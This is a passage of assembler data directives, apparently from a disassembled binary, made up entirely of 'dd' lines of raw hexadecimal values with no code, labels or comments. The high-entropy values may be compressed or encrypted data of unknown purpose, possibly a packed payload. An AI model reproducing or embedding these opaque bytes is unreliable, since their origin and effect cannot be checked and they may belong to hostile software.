		dd 5D61188Ah, 10983094h, 9CA8F903h, 6600C8A5h, 457B7CF3h
		dd 742380B4h, 2163604Dh, 52667340h, 0C2CFD3Ah, 5837DB5Ch
		dd 81C941D5h, 3478A899h, 7882CAC8h, 0E7F6645Ah,	0E1EC700Ch
		dd 66040C0Ch, 4D5B7C1Fh, 0BBBFA837h, 2F0A0194h,	83183938h
		dd 7F2BE1D6h, 15C4D0F0h, 0ECD6D8B7h, 64DD8E00h,	28A86F9h
		dd 887A680Eh, 43465DB1h, 7D6E0180h, 0B2C05BEh, 473339Ah
		dd 30590AB8h, 79B7A612h, 0B3448C23h, 0A6E507E1h, 0F089DE13h
		dd 4C33479Fh, 0E8B39130h, 1A32A8CFh, 10BBDDD4h,	0D35C1281h
		dd 4A05CC85h, 0BC75910Ch, 7338E57h, 0E61D09ECh,	6258C01Bh
		dd 5C042489h, 0F91FD731h, 17ADA280h, 0A2B33D65h, 4726F21Ch
		dd 0C0483464h, 6A8B4293h, 0F500B9E2h, 0B5396E10h, 0E6C5C8h
		dd 0B2021843h, 0B1C2D4ECh, 0CD036400h, 0C6996D9Ch, 0DB140F8Bh
		dd 0C37D67ABh, 3CF90E75h, 2E0280C5h, 257C1A83h,	72F7EA00h
		dd 198EA5B2h, 137A1CAEh, 0BCE880DFh, 2217F887h,	50C5BF0Fh
		dd 78AF208Fh, 2A5D9C2h,	0E5C43FF1h, 9AC031B9h, 50036EFh
		dd 0BE2DF0D8h, 7ACFC83h, 2E5A4875h, 2399F363h, 0BF58A3E0h
		dd 80C95338h, 71786234h, 3E26CFB6h, 961E2A0Fh, 0CA190782h
		dd 0A03F80F9h, 6900035Dh, 0BC2D1ADBh, 0FB85843h, 91CF7C80h
		dd 0C01DA387h, 2C012953h, 816550C6h, 0F71A0068h, 64EB153Ch
		dd 0E5002DBCh, 0A539EE56h, 60957176h, 896A18E9h, 9F073E4Bh
		dd 25CE721Ch, 0A29A5981h, 3C01ACE0h, 0BC001DADh, 80F85B13h
		dd 7607CC71h, 5F3E4111h, 223386C1h, 42D7194h, 62A800D2h
		dd 7EF8E5D3h, 41B68506h, 1D8F5F7h, 1B01EBCh, 0DC27D761h
		dd 2907B134h, 0F35DF9E5h, 86717DD0h, 0E931CF2Fh, 4FA3BD80h
		dd 530057A6h, 2630E4DDh, 0F0634BEh, 1CEDD6EBh, 0FC3B28D5h
		dd 18D37F19h, 1FC0432Dh, 7D859906h, 0AA97C05h, 81E208FBh
		dd 0B486060h, 0A8C8824Fh, 2391102h, 3E6C196Ah, 0CD90A0D5h
		dd 1BED070h, 0F0C94AA0h, 82F1760Bh, 0A3B5EB91h,	0A67C917Bh
		dd 0F1238458h, 683799Fh, 18269886h, 38E08480h, 0A162C08Ah
		dd 0FB40DCE6h, 9ABBDCE1h, 0AF91912Dh, 79403FA2h, 7D06B5A3h
		dd 4039A733h, 0AFD00339h, 3274AA6Dh, 0F38E4FE0h, 23D4DC18h
		dd 281683A9h, 0E418712Fh
		dd 61F01E66h, 0B75C430Bh, 0A114F43Ah, 1C84F3h, 7345FC6Ah
		dd 678E0BFDh, 7BA69951h, 11656606h, 727BAE00h, 66123178h
		dd 63A92A07h, 73903CBCh, 770AB401h, 0C8F7BC57h,	56601465h
		dd 0D0B7F910h, 9CE94489h, 40DCD07h, 7BC0927Ah, 34733C2Fh
		dd 0C695C89h, 34C19CDCh, 44A7C301h, 0B4E95A0Bh,	781960E7h
		dd 89E77E7Dh, 17002949h, 740C0678h, 60109976h, 5E7DA165h
		dd 56304BE1h, 613F10B7h, 843950ABh, 0BB2E3A73h,	5F7B1Dh
		dd 3D4E3134h, 0DB7F9D9Ah, 9F76E719h, 405F3861h,	5321B420h
		dd 540242B7h, 0B8D78081h, 0FE198149h, 0AB37E6F3h, 0D06A9AE0h
		dd 0D422AC48h, 95543D55h, 22BCEE10h, 480EFE84h,	3418E414h
		dd 5A834073h, 7D66AF01h, 6501AD47h, 8FE8024h, 0A2E8F589h
		dd 18C9ECBDh, 9F842245h, 41109843h, 9B060063h, 0E0722757h
		dd 8FEB035Bh, 0F55D0D8Ch, 3399F188h, 0C296BE00h, 47A6C184h
		dd 0B36E3867h, 0B91CB23Ah, 0F152401Ah, 0C5EEB87Ch, 19B41004h
		dd 64C2E191h, 9E1C41A6h, 0EDEA824h, 3BE088D8h, 71E87B87h
		dd 512F4D5Dh, 9BCB08Ch,	7A85FAE8h, 8BCF0012h, 0D21B3910h
		dd 0F1266137h, 1A02A896h, 4A761222h, 8687DDD4h,	13DCB7C8h
		dd 180373C9h, 11CFA680h, 9E5909BAh, 7D8033D7h, 3D2E16DAh
		dd 9108B266h, 0DFFB0421h, 82DDB833h, 47206A0Ch,	2489694Fh
		dd 1F603815h, 65160683h, 4D002128h, 0FCB533F5h,	78F692FAh
		dd 2708CC38h, 4D00F821h, 30157133h, 0CE7D78E7h,	22C03819h
		dd 5631131Dh, 0F11CE22h, 1239582Dh, 80032724h, 8AE4CB90h
		dd 0E2BE890Ah, 0F9813C62h, 0DAFCA133h, 74886018h, 483307D1h
		dd 0F4A7235Fh, 0F3B8C295h, 0A87A0721h, 61533460h, 3722D83Dh
		dd 5EA851DDh, 0BA298007h, 29320994h, 0F08E1D86h, 0FB144E40h
		dd 803A9C5h, 0A5805B84h, 0F8971BDFh, 26CC75E4h,	41A4E021h
		dd 323B8A80h, 62CE00E8h, 3C4649DFh, 34114CB5h, 0FBBCD080h
		dd 3BE0529Dh, 701E91F4h, 0F8D58257h, 9A601C34h,	3FE87740h
		dd 77A57C87h, 8E791214h, 33680065h, 4556C95Dh, 0CC66022Ch
		dd 0F05E4B06h, 983A24D1h, 0F78500D3h, 769D7295h, 0B8F2D0E7h
		dd 9EDF20C0h, 0A4C1F77h, 62D8E9B4h, 5A8840D8h, 960CCDD0h
		dd 511C5D6Dh, 0B1FC0Fh,	4D21ABF4h, 6D7973D7h, 10C7658h
		dd 0AE0582BEh, 0EC640D19h, 274607A3h, 2F7BE34Eh, 48F68486h
		dd 0B0BDC8A0h, 39AC80h,	0BC5AAF44h, 0F6D723A0h,	1F01F318h
		dd 0E8022D21h, 16D229CAh, 645C220h, 3FD30E30h, 2800EF8Ah
		dd 0B4D56866h, 820013A4h, 0B31BA90h, 0FFBE8833h, 0F33D6C26h
		dd 0EAFCB788h, 6A4095C4h, 0D60C334Bh, 9C064100h, 540DDC98h
		dd 35F30246h, 2DCFDE9Eh, 6F0540C0h, 69000492h, 4A7CCC3Bh
		dd 1604E235h, 837DF9h, 0CEBC5284h, 0A4181D14h, 43317306h
		dd 73E27BA1h, 92550C25h, 9F08DA26h, 79B221C0h, 0C8CA7E3h
		dd 0DB12235Ah, 1D292919h, 0AB01249Eh, 0B2FDD2E2h, 8AA418h
		dd 2411E2CDh, 17B010Fh,	63888E1Eh, 0C48E250h, 0F9C06165h
		dd 0F0B2AB0Bh, 1C32FA84h, 0C0E1A972h, 0E0571542h, 8505B0CEh
		dd 0C4F26169h, 3D97C800h, 50FA3994h, 3C194816h,	8D8121F7h
		dd 0A6DF0857h, 25436A0h, 0E59833E4h, 10B531E2h,	233ECF8h
		dd 20B17E39h, 0A86095AEh, 0C116E741h, 28143A53h, 48237Ch
		dd 85E477C9h, 4586729Fh, 771E400Eh, 3D017F21h, 0BF3104DAh
		dd 7470763Fh, 0E486515Dh, 8CA3A820h, 0D733BB0Fh, 4C8831E5h
		dd 33E3F787h, 0AA9661AFh, 59D15390h, 0E1C84C4Ah, 780284C1h
		dd 3B4D9BFCh, 95808306h, 0C5483D8Bh, 6358BFDEh,	0A6D2109Ch
		dd 380BDC01h, 4C51CBF9h, 3F5222C4h, 97D003C0h, 0AD16BBh
		dd 194F2611h, 0BC2F9DA4h, 4055718h, 0AF6A1h, 1C73236h
		dd 0C1985EA4h, 7426F301h, 7BE74F80h, 5074B429h,	0B8DD303Bh
		dd 0C1E916A6h, 9DF040C6h, 0CE16BD25h, 7C91B97Ch, 14206296h
		dd 8F73A8h, 87229008h, 476E5336h, 9CD22D28h, 9331FD00h
		dd 66EDF805h, 0A1F467EFh, 0C200C9FCh, 6A673207h, 0FF843C93h
		dd 0FCC14A78h, 0E511B80Fh, 5D0500Dh, 48C01DCAh,	40312B46h
		dd 0E5350086h, 4328A430h, 18B1CB66h, 2075428h, 0FD3B793Dh
		dd 82A05DA0h, 702A4CB8h, 7C219D25h, 3C2E71h, 38BAD935h
		dd 0FA8BA7BBh, 0DC0347A1h, 5D98EC9Bh, 93FC48F1h, 96AF3B28h
		dd 8640C53Ah, 127A196Ah, 0E9AC0D40h, 0D1589CD4h, 7905FC47h
		dd 3FCEC309h, 11701D66h, 8BD83F2h, 0E8620136h, 0ADE23F32h
		dd 6033D174h, 0D8044488h, 0DE47DD9Dh, 0BDFD0C0h, 3F5C0939h
		dd 0ECBD70FFh, 0A2EE8504h, 84D6CD48h, 6BC2320h,	0E1AFE705h
		dd 34657481h, 0A8DF2425h, 9AB9CCB1h, 8104205Ch,	4619D0FBh
		dd 8AA6E500h, 873ABD13h, 51220021h, 98866152h, 2900C5FBh
		dd 14477EC6h, 0EE03739h, 0FA8ED1C9h, 0BC736960h, 0BF607760h
		dd 0FBB0F7EEh, 0BA4B00D5h, 0FF526199h, 58000EA4h, 480A7C5Bh
		dd 2B7FE7h, 0D3D5BDC4h,	7A94CC14h, 8BF9E00h, 0AE77CB79h
		dd 6CB70028h, 0F43B6DBh, 0AB7083F5h, 50EAE100h,	0E53D8411h
		dd 6D101EA8h, 0B28DC038h, 554FA060h, 9B233Eh, 31794CB5h
		dd 0A46821h, 0EDB3F242h, 0DB3E52B0h, 4EC55B00h,	185C212h
		dd 7CB084h, 82588863h, 0F956114Dh, 89053D0Bh, 0C19B00C7h
		dd 0A1B6E7h, 4DC47797h,	0F5D7EBB5h, 0AD023D00h,	30F2D3Eh
		dd 0EE3A0091h, 0D5137633h, 0DE39F98Ch, 2E3BD1h,	0CA0C74C7h
		dd 3A853679h, 64974157h, 0B41C0E24h, 74E50D20h,	6A00A17Fh
		dd 3292BC70h, 2CB76E2Ch, 3D53B0CAh, 4D99000h, 0FF1F105Ch
		dd 0D7EC9600h, 14D84B3Eh, 9C530323h, 4E019E06h,	36CAFF98h
		dd 0D7E91918h, 0AF6278h, 0B2D886F0h, 60D5EAACh,	0C551E400h
		dd 83CDEFA2h, 0ECAD2493h, 2619A48Ch, 498700BEh,	11849874h
		dd 7FCE3914h, 108800E0h, 6B04DF83h, 0D253010Eh,	36EAD8Eh
		dd 9AF8C46Ah, 9EC5CC3Ch, 0EAC05B16h, 24FC1517h,	2BB52437h
		dd 12688748h, 4BB2B010h, 760E5DACh, 608AB34Eh, 0A7FD823Dh
		dd 0CD72008Eh, 7B9394B0h, 1512851Ch, 2200C6CBh,	0A2F7687Eh
		dd 0C2DE430h, 3B7893C5h, 0C000F4E8h, 0F595E784h, 0A3B6DDh
		dd 0D3ECF2A4h, 9DD9D2DFh, 9B2D6D07h, 3C509959h,	0A10B53h
		dd 0B7FA6A49h, 8BD94266h, 4B3ABF00h, 65162FF8h,	0E7E7F95h
		dd 8FE1C0C2h, 5A783E00h, 0C5F847B2h, 1E6A1012h,	0E196CC00h
		dd 38F659EBh, 2EBF4153h, 0CBF050h, 57228644h, 0C76B62F0h
		dd 0EFE4BA00h, 2369C074h, 24B6730Fh, 8078A8BDh,	0AD89E31Dh
		dd 600316Ah, 3C036CEBh,	0E00ADCD2h, 147F2Eh, 1A16A81Bh
		dd 0C2743E4h, 0FF196700h, 0BC11C244h, 5660005Ch, 6D727D64h
		dd 1E015271h, 0AEA5760Ah, 3CC4967Fh, 0D5A01524h, 0DD00C883h
		dd 6FC23208h, 0E4A15E8Ah, 34AAF42Eh, 0F406AB00h, 535D5BC8h
		dd 0D9590073h, 0BA0C6AE1h, 0D100E81Bh, 92FEE975h, 5451F8h
		dd 126C86E3h, 2D10A703h, 80A0EF38h, 9B74FB8h, 0E65A1Eh
		dd 0E0AD362h, 0FEF1CFA9h, 8DA59800h, 9B4319AFh,	6C4648E5h
		dd 0C511E10Ah, 102AD0h,	0AB3B3FB4h, 67A6BE16h, 3A9E6B00h
		dd 2E4DA007h, 986B044h,	99BBE032h, 821D468h, 4B6339h, 0DDD5F7FBh
		dd 12CA3D5Bh, 716D3CEh,	142540BDh, 67778124h, 0F2EACCE3h
		dd 0F0BD3603h, 0A8159523h, 0B7A45Bh, 1BE7CC52h,	9E1D6548h
		dd 37F6441Ch, 0C03F1080h, 4A945Ah, 0DC6368A1h, 44A40CA9h
		dd 0CCE31300h
		dd 195FE03Ah, 0BCCD1E5Dh, 0B7F8C0EBh, 3FF57E5Eh, 65790700h
		dd 0B082E4FAh, 9C290043h, 0EB3D36CDh, 5A797017h, 9EF14916h
		dd 4500C113h, 0CEACEC78h, 796B03ABh, 8B7ED58Fh,	0BE8091DAh
		dd 666A35A3h, 1DE4D059h, 3FC00F40h, 3BC65770h, 0F484025Fh
		dd 10E03556h, 0B83A2440h, 0A64ACE00h, 0FBDF2128h, 0D4EE2E0Eh
		dd 59190082h, 136A33EBh, 17F25500h, 511264AEh, 0AA4A1E9Eh
		dd 92AF803Ah, 0B274158Fh, 90042F0h, 80570A73h, 0CA6D1Dh
		dd 3F389DFDh, 194A0BD8h, 4300877Dh, 0E50531FBh,	0D9039Fh
		dd 0A56E8308h, 0B27B761Ch, 70142F01h, 0B225652h, 1BE864h
		dd 30E1C5Dh, 6A4F32C6h,	5619EA03h, 116E57Ah, 0EE4AFC11h
		dd 508839h, 69211Ch, 0C2B9A02h,	6C53828Ah, 890030EAh, 8B274239h
		dd 48AB7D33h, 7F027C58h, 2E72CD13h, 20001C50h, 6D8CA9A3h
		dd 0A0936E2Bh, 0F80D7490h, 24D9003Ch, 54A9F673h, 0AB004EE0h
		dd 0B022C1EAh, 72A888h,	0D2E83CB2h, 0E51D68E4h,	0E300F0ECh
		dd 8199D68Ch, 3E938B9Eh, 700317Fh, 1AA2DA6Ah, 0E100C266h
		dd 0E911F41Bh, 0FAACD8h, 843F1D10h, 7C2224BBh, 16289500h
		dd 877F46E8h, 1E511E48h, 8CDAC0EDh, 14E36A9Ah, 3E6E731Fh
		dd 8BCF9100h, 720FF13h,	2B1695B5h, 0C056849Bh, 1247B96Dh
		dd 1FCA5505h, 1F87E7A6h, 9BE0206Fh, 98BF13DBh, 0AC8E0004h
		dd 621082FBh, 503AE98Dh, 0E4708059h, 0E8BCF65Ah, 0B53B0245h
		dd 0C94105ADh, 0F57500E0h, 8C009C78h, 0A42BDCE6h, 4CC2B4h
		dd 4DF694ADh, 0FF51E86h, 0F7001CB8h, 6B81A0DCh,	0B0EBBABh
		dd 5C08238Dh, 0DD191380h, 9900E8F6h, 0F2685BEBh, 25F0Ah
		dd 0C5A2DE7Bh, 7882427Ah, 83E8D00h, 1A6E9E16h, 0E0C700CEh
		dd 0CC5D66DDh, 69FCF0BCh, 8EE5FC00h, 0F3D7CBF1h, 152F127Eh
		dd 9A1DE6h, 4408469Bh, 0B0091E89h, 4894AB4Bh, 6D13F8h
		dd 8507E0AFh, 0FF70090Bh, 1D76E600h, 38ACDD25h,	97A500C5h
		dd 0DE315A68h, 177761EAh, 0CB3F0B00h, 5305E039h, 4B56030Ch
		dd 2DAC979Ah, 6085F4A9h, 0CCA8845Ch, 0A504A343h, 2E33254Fh
		dd 5FAE60D0h, 5E9F3972h, 0FCCFBA83h, 48D52D5Bh,	0FE100310h
		dd 0C027851Dh, 0E52F62F3h, 41F416EAh, 1400F85Eh, 52AF29CAh
		dd 0DAA60272h, 0F69D929Ah, 4E182072h, 11F1E6CEh, 10B70003h
		dd 79066A9Bh, 0E9F6317Ah, 0F65B8500h, 0F94F8677h, 445A502Dh
		dd 92C20C72h, 6560A2B5h, 59A84000h, 504A1354h, 38BB1695h
		dd 153BC68h, 412E1CD5h,	56D07A77h, 9DECACh, 0E4C70B47h
		dd 7CB76F67h, 0E2B3107h, 4B5EEEB4h, 0A0046B10h,	14538B0Bh
		dd 0B0FC86E7h, 26CA4C02h, 0E45A78E5h, 80007058h, 88D81498h
		dd 26AB04D7h, 874FFA48h, 0DE5620ECh, 28C55AAAh,	44A4A107h
		dd 7BD80087h, 0FF15F3F1h, 57F4F531h, 943ECD01h,	0A506D09Eh
		dd 3FA069ACh, 0B1E07100h, 0FDA804F3h, 64CE3F00h, 333D9C7Fh
		dd 0F0D050Eh, 0B2E507B5h, 995F0064h, 9DE1F50Ah,	0F4AE23Bh
		dd 46687CB3h, 6220F300h, 0DE3C4078h, 4E801D8h, 0EB707DDh
		dd 0B406418Ch, 0B3E4C581h, 6404E0B7h, 8AE700C2h, 7E3DDD0h
		dd 6713787Ah, 0BB3508h,	303D276Eh, 71016812h, 513FE820h
		dd 7FD04096h, 80B80141h, 0E297E774h, 7D89FDA0h,	3D0379B0h
		dd 592CB64h, 5B7900ABh,	178A151Ch, 4D006F13h, 266B2C81h
		dd 186D7BD5h, 41085063h, 2B3AE09Dh, 52800E4h, 53BC5215h
		dd 49300068h, 1222AC5Bh, 1702E3D7h, 0A7393CFBh,	255BE1EBh
		dd 45B49F5h, 0EAADC49Fh, 0FF76D64h, 3C1719D6h, 0E15AB087h
		dd 9C5DC734h, 5472F08h,	14B879E1h, 3311C21h, 9AD99908h
		dd 2718E038h, 28C74420h, 0B3A54DA0h, 0A72619DCh, 0B452991Bh
		dd 18455009h, 4C0D3C33h, 79D1691Ch, 6A18A1B2h, 71F91CA6h
		dd 618510C2h, 2850B278h, 0A1426010h, 4088822h, 481C3DC0h
		dd 6661F82Ch, 0C9758120h, 72094E65h, 2D211C30h,	42B4A36Eh
		dd 86280C08h, 689A5014h, 80A56464h, 508A77C9h, 0FA6158h
		dd 0E44F2A3Bh, 959117E6h, 0ECB87529h, 8C726280h, 7C303BCAh
		dd 316B3A7Ch, 2FE4FC52h, 3158AC04h, 1A10E86Eh, 53B448D2h
		dd 8F7BA000h, 0AAEC81Fh, 43040431h, 20D7AC62h, 164F6AE3h
		dd 1836CABAh, 833A19DDh, 0F039F866h, 4DD32469h,	4C38340h
		dd 4816637Bh, 0AA006B1Dh, 75AAEE99h, 491C06F3h,	38F4885Dh
		dd 12D9103Fh, 984054FBh, 72DE6286h, 67F10692h, 69FDFA26h
		dd 1268B50Ch, 144489Bh,	0DC62CE4h, 0DCC96654h, 0EDF53D8Ch
		dd 0C4F6D18Fh, 0CA00914Eh, 49310EA6h, 0C02699F2h, 96A8B0F9h
		dd 61E8B1A5h, 5DB693Ch,	4598A46Ch, 8E488C59h, 3C6B519Dh
		dd 0E9614480h, 0B1F0E781h, 28F1B007h, 0D34099BEh, 0E37123Dh
		dd 789D193Ch, 2FF3807Ch, 0D4EC01A5h, 0ADD98567h, 2C5CE4A0h
		dd 3E8CA0FCh, 0E99A6E96h, 212B0520h, 18184C49h,	12894666h
		dd 8E2A3C60h, 0E427F204h, 0BD9C80CAh, 0C43AFECCh, 0F029E067h
		dd 507718BAh, 0A0EC60A0h, 0F45B9D88h, 8338C086h, 4321123Ah
		dd 20363703h, 6640BCC4h, 8EFE131h, 3C738E04h, 0D080686Fh
		dd 0BEE3A1h, 0C0C31749h, 780C2CEDh, 10A0DFFCh, 0B0A083EBh
		dd 50A18D2Ah, 47A4D198h, 12AC1AB0h, 0C6F8400Eh,	0DBB6494Ch
		dd 0FEFC6302h, 41BC789Ah, 0F2128E2Ch, 0B000A8BAh, 9B527483h
		dd 7762E905h, 0E45F6AEDh, 3840E852h, 0E660CA9Dh, 88B8A53Ah
		dd 73646D54h, 263D5942h, 0E4453F01h, 0E0B3A4C0h, 8B4339A8h
		dd 0F289F300h, 2625F931h, 9931EFF2h, 50B5592Dh,	46A484DAh
		dd 0E5D0010Ch, 195FD39h, 7ED25E25h, 0F2E0B2D4h,	0C28F0A2Dh
		dd 0CCD3F9h, 7D31AF5Fh,	0B6048C44h, 0CA24DB3Ch,	5095093h
		dd 49A7361h, 0C62C90C0h, 98416833h, 54EBC420h, 0A860B88Fh
		dd 3B06A84h, 6D31036Eh,	284018CDh, 433137D8h, 0ABED08A5h
		dd 0C8108C4Ah, 7740049Bh, 470972FAh, 13580C90h,	2D09EC92h
		dd 721353Ah, 38490918h,	0D17E0430h, 230A8859h, 904C0A66h
		dd 5568155Fh, 0F18C3360h, 312900D6h, 0B730BC57h, 3F00F1B8h
		dd 87A09EE1h, 0E1A8E4F4h, 264091h, 8F307E7Dh, 3398BC99h
		dd 5F91206Fh, 18142911h, 3C14F63Ch, 8C033CFCh, 0AF5B9A1Bh
		dd 265843C5h, 90A6BA6Bh, 7071C246h, 0F0F950F8h,	3CC90198h
		dd 0F67E4576h, 30808D1Ah, 0B0832083h, 859178F7h, 8C90607Eh
		dd 3E16620Eh, 0F378948h, 0E8368A50h, 4A881080h,	0C2CF2CF2h
		dd 29314071h, 88ACB087h, 0BD447244h, 40881AEBh,	0A9E39C5Ch
		dd 8DF11CE4h, 1CA2EF4h,	1B55F66Fh, 0E5B78F4Ch, 71F4F4A6h
		dd 15385148h, 0F848C6Dh, 0A7C65BDh, 71448CFEh, 684CC4C0h
		dd 0A893549Eh, 1C04981Eh, 2A50AAE9h, 2E3F0098h,	0EBD9B530h
		dd 3D605FABh, 83D86378h, 0A5391F6Dh, 60C86467h,	7E248C51h
		dd 10ED0E30h, 3E83B9E2h, 0C2853FB8h, 5F00178h, 87768Ch
		dd 1B935298h, 3D5CD937h, 0E1861306h, 68B3FC40h,	15579120h
		dd 88955DA7h, 0F1738900h, 45B5C89Ah, 8EFFBD07h,	0B260E40Ch
		dd 18DCE55Bh, 0E9B1015Fh, 7400F058h, 0F1E1731Eh, 1DA8B963h
		dd 40E3160Fh, 0FE797DACh, 4B07AFE9h, 0AB1A0D2Ah, 66C30670h
		dd 0D45F50B7h, 4883002Eh, 0A2FDA20h, 4005EFBh, 0E585A5AEh
		dd 2A7E578Bh, 80FE9Eh, 0EC965D2Ah, 1615BBFFh, 8E712B03h
		dd 0B85065F9h, 0E20E46Bh, 77FEB726h, 433C48C0h,	130600Eh
		dd 83DCB1DAh, 889D00D6h, 49CC04C5h, 0FDF47652h,	4B030890h
		dd 6A47ABBAh
		dd 0E54000A5h, 0A335AF5h, 0DD7A5466h, 10D7C500h, 1699B775h
		dd 0E42658C9h, 4B5BE90Fh, 0B6A9E660h, 0A03AD4B3h, 717884D1h
		dd 0A8C9A53Ah, 6383CD00h, 2CB2583Eh, 80E02226h,	2DFF7E47h
		dd 0C628CEC0h, 0D450C826h, 10C00DF5h, 0D7BB6861h, 5F24004Dh
		dd 7BE396DCh, 0FD13463Ah, 0A700E508h, 0A52714C6h, 0F1F41Fh
		dd 4BDCF799h, 86BB4E46h, 0F2A62306h, 0D150CCFCh, 2FFC0458h
		dd 623B2500h, 0D21F4427h, 0C414003Dh, 0DDD2603h, 0E8E9E2B7h
		dd 0E57C2FD8h, 232E5103h, 11F2C88Fh, 11297728h,	3121D9E1h
		dd 388ABD04h, 4427CB04h, 2D48D3B5h, 25701742h, 9A3C0FFFh
		dd 79106528h, 298EC786h, 0A551D360h, 67E3BBh, 5C1032D0h
		dd 9AB540E8h, 807C353Ah, 2EAA9E4Ch, 1865B6h, 8123AC14h
		dd 69C963E2h, 0B0ED2900h, 0D8306C61h, 0A80400F0h, 3B5D6DE3h
		dd 0A2EA4BCAh, 0F383C100h, 3E8FA973h, 61CE001Bh, 0C0A5D89Fh
		dd 7F73FB6Fh, 0E634DD00h, 0E812BBDEh, 7DE70F9Dh, 0C7801AC1h
		dd 0EC42AEA6h, 4691400h, 4784DB93h, 0AD6B1EB7h,	0C8C7402Eh
		dd 910EEBF5h, 7F782762h, 9C37409Eh, 1CA1E08Ch, 0DA402Ch
		dd 0E7C5D5C4h, 0E901E3BFh, 317ECEE4h, 9B207FADh, 768E0315h
		dd 7CF3550Ah, 0C1339AE8h, 0C2ABA91Fh, 28505D00h, 0A3E39Bh
		dd 0C7969E23h, 433BA7B9h, 0FC945F00h, 101F54B3h, 8C270152h
		dd 0F658E9BCh, 1718D420h, 0CF4CAE00h, 0B444F494h, 9E1B0008h
		dd 1A5A95B7h, 8600BFBEh, 0B59404E8h, 7B391035h,	67C700C5h
		dd 438AA378h, 11002102h, 2C4F53ADh, 0E9BA7DCh, 376CE160h
		dd 3161009Ch, 7487CC8Ah, 0CE936200h, 631D1F06h,	57880E37h
		dd 60E3C825h, 8AF00440h, 81000E9Dh, 0A107B1B7h,	3E2FAC6h
		dd 4F63AB20h, 0CEE8D4DDh, 900087E4h, 0BB5574D6h, 0C3CFC5A6h
		dd 42A50516h, 0D5147998h, 58FED813h, 8825BA00h,	22CB23h
		dd 0CD2BE996h, 0C0575609h, 923B15F2h, 0ECFB8035h, 0DD05EFB6h
		dd 0DFAC006Fh, 0B4FA67F7h, 0B549216Ah, 519300FCh, 5BE65878h
		dd 6F600034h, 96A55455h, 5F3CA728h, 8325078Ah, 5826B373h
		dd 139F0010h, 853DC7EBh, 8000E1Ch, 0B9D02786h, 0F40C57F4h
		dd 0D2CC007Eh, 8A99AB23h, 6ECBAA97h, 0A5280C0h,	480D5E47h
		dd 8C38E491h, 14536C80h, 50B82CC1h, 0B7E97600h,	6E8DE21Ch
		dd 847358h, 2C33870Ch, 0DDE550E3h, 0F4C8A700h, 80A3A083h
		dd 0B81E000Fh, 4F90338Fh, 6D7FCA60h, 0A34401Ch,	0C5A5DDC0h
		dd 0B270AFh, 64E872A7h,	0A0A6C204h, 790B3B7Eh, 89B71B5Ch
		dd 0D2D78039h, 725EE811h, 81780032h, 0E23D80D0h, 8300C287h
		dd 0A6EE8EE1h, 1E5CE7AAh, 757C92h, 0AB4307A4h, 0EAC02451h
		dd 0C9285621h, 25130138h, 5304661Dh, 79A6E4BCh,	0BF72A838h
		dd 8F76004Eh, 0CBD17A17h, 0B91004E3h, 80EA6AB3h, 92BD90D7h
		dd 6C07047Dh, 98D8414h,	42CD9D70h, 0C4C00C5h, 0F834B916h
		dd 7100D07Eh, 5EEBD7CBh, 0C292C3h, 0B2305421h, 5BDAAEB3h
		dd 9DC6B100h, 470803A6h, 0FDAF0004h, 68EE7C7Eh,	0EF0391D0h
		dd 6C5DC36h, 0C62FA0DAh, 0A30A098Eh, 2C987062h,	0B0A0F535h
		dd 0AC1EA11Bh, 57011966h, 63DA68A3h, 8818CD00h,	84448200h
		dd 48D2265Dh, 9E71C71h,	130EC4A6h, 800087D0h, 4012CEFh
		dd 6888DC01h, 2E7628F5h, 0CBF430h, 0E5785CD5h, 170FF445h
		dd 3400AB98h, 6EE1E62Ch, 0D8E748h, 0A7CB3972h, 5ABE287Dh
		dd 3C403700h, 0C1605044h, 0D075FEh, 6814A5FBh, 0EAB88879h
		dd 1A101560h, 0D820D36Fh, 599DF688h, 6A74C82Eh,	0B4705600h
		dd 3A1F61h, 374DD1D8h, 0BF1B12CAh, 0B1ED0200h, 0F28CAF36h
		dd 91CC022Bh, 94444830h, 537A2040h, 3405DA00h, 0DBC24087h
		dd 7F4E0016h, 61DD4B3Bh, 7203E009h, 9DDA675Eh, 38FA60F1h
		dd 2D6D7C8h, 8513BE00h,	91542DB6h, 2C1D0020h, 52D9AC8Ch
		dd 83091125h, 801E47AEh, 137A9DCh, 0FFE672h, 74C5BD04h
		dd 0F6121160h, 3C8850Fh, 1ADF40ADh, 0D50D75h, 0E7305F38h
		dd 0A3B3F261h, 0ABFE7098h, 1852D100h, 6D98E964h, 0D4E800D8h
		dd 45E30A1Ah, 1200B5D0h, 0C7BD1B6h, 0E655726h, 0E035664Eh
		dd 1030F480h, 0FEA1088Fh, 0E7ACC874h, 4C6DC100h, 3CBA1597h
		dd 14D500F8h, 8D38F93Ah, 657E13F1h, 0A4FC6000h,	5B91D1CAh
		dd 1073CCh, 34CF53B4h, 0FA11AE4Eh, 65CEAC00h, 5AA7D071h
		dd 46F005Eh, 731B346Eh,	740038FEh, 43DC467Fh, 0ECD310Ah
		dd 0BFA9C760h, 753EDA80h, 65482C21h, 85410074h,	2ADE0D28h
		dd 6266076Bh, 904B0BE4h, 5F7B659Ch, 8003D75h, 0A913C3B4h
		dd 21815h, 0B7FA5538h, 6AA5CEC6h, 7896CC00h, 0A10B7A8Ah
		dd 59BC0011h, 66C45352h, 2213D833h, 0CF135F60h,	5028C1Fh
		dd 6852C65Ah, 133F6Ch, 0DC8D8824h, 0E8DE4B59h, 0B7294A2Ch
		dd 995BB000h, 702C7Ch, 55BC0430h, 15C33864h, 0B6116618h
		dd 0C96BD2h, 75E15C63h,	49C63151h, 5A770B00h, 0A28473D6h
		dd 10B835CEh, 5BDE02D8h, 0B0607F6Fh, 654947E5h,	21E400A0h
		dd 51B178EEh, 0F44006Bh, 0CCDACD7Eh, 0DCA04E7Fh, 0A903A583h
		dd 2C3CCFE6h, 3465A8F8h, 1AF100B2h, 89B437F9h, 502C3983h
		dd 2C0093BBh, 8E9B540Bh, 32B8000Eh, 73D9814Dh, 0C0A02B49h
		dd 33004FFEh, 4BC83577h, 1EF7E9Eh, 0D111A5B6h, 804DE25Dh
		dd 0B08359B0h, 0EA7155Eh, 5B218234h, 13E1C520h,	0B13E1C2Eh
		dd 901880EAh, 0A9814208h, 0C8EB00F4h, 3BF09E14h, 5A132E31h
		dd 651F9C0Eh, 3F1186C4h, 0C94598C0h, 540F49CFh,	30245E80h
		dd 43039707h, 6F94E448h, 8B6000D0h, 355033D2h, 661436CBh
		dd 4C9CA0FBh, 0EF890091h, 0ECBA259Dh, 2C6E842h,	8DCC04FCh
		dd 0BCA1DC29h, 9335BA0h, 37009C22h, 0F4CC1D6Ah,	0D9759C2Fh
		dd 5548F700h, 0A0288FB0h, 131700D1h, 3F0D2EB5h,	4A0261E9h
